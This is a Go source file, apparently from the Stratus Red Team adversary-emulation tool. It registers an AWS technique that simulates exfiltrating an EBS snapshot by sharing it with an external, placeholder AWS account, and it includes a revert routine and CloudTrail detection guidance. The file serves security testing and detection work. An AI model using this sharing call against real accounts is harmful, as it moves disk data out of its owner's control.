-
Notifications
You must be signed in to change notification settings - Fork 196
/
main.go
101 lines (83 loc) · 3.27 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package aws
import (
"context"
_ "embed"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ec2/types"
"github.com/datadog/stratus-red-team/internal/providers"
"github.com/datadog/stratus-red-team/internal/utils"
"github.com/datadog/stratus-red-team/pkg/stratus"
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack"
"log"
)
//go:embed main.tf
var tf []byte
func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.exfiltration.ec2-share-ebs-snapshot",
FriendlyName: "Exfiltrate EBS Snapshot by Sharing It",
Platform: stratus.AWS,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration},
Description: `
Exfiltrates an EBS snapshot by sharing it with an external AWS account.
Warm-up:
- Create an EBS volume and a snapshot.
Detonation:
- Call ec2:ModifySnapshotAttribute to share the snapshot with an external, fictitious AWS account.
`,
Detection: `
Through CloudTrail's <code>ModifySnapshotAttribute</code> event, when <code>requestParameters.createVolumePermission</code> shows
that the EBS snapshot was shared with a new or unknown AWS account, such as:
<pre><code>"requestParameters": {
"snapshotId": "snap-01b3f7d87a02559a1",
"attributeType": "CREATE_VOLUME_PERMISSION",
"createVolumePermission": {
"add": {
"items": [{ "userId": "111111111111" }]
}
}
}</code></pre>
An attacker can also make an EBS snapshot completely public. In this case, the <code>item</code> entry
will look like <code>{"groups":"all"}</code>.
`,
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}
var ShareWithAccountId = "012345678912"
func detonate(params map[string]string) error {
ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection())
// Find the snapshot to exfiltrate
ourSnapshotId := params["snapshot_id"]
// Exfiltrate it
log.Println("Sharing the volume snapshot " + ourSnapshotId + " with an external AWS account...")
_, err := ec2Client.ModifySnapshotAttribute(context.Background(), &ec2.ModifySnapshotAttributeInput{
SnapshotId: &ourSnapshotId,
Attribute: types.SnapshotAttributeNameCreateVolumePermission,
CreateVolumePermission: &types.CreateVolumePermissionModifications{
Add: []types.CreateVolumePermission{{UserId: &ShareWithAccountId}},
},
})
if err != nil && utils.IsErrorDueToEBSEncryptionByDefault(err) {
log.Println("Note: Stratus detonated the attack, but the sharing was unsuccessful. " +
"This is likely because EBS default encryption is enabled in the region. " +
"Nonetheless, it did simulate a plausible attacker action.")
return nil
}
return err
}
func revert(params map[string]string) error {
ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection())
ourSnapshotId := params["snapshot_id"]
log.Println("Unsharing the volume snapshot " + ourSnapshotId)
_, err := ec2Client.ModifySnapshotAttribute(context.Background(), &ec2.ModifySnapshotAttributeInput{
SnapshotId: &ourSnapshotId,
Attribute: types.SnapshotAttributeNameCreateVolumePermission,
CreateVolumePermission: &types.CreateVolumePermissionModifications{
Remove: []types.CreateVolumePermission{{UserId: &ShareWithAccountId}},
},
})
return err
}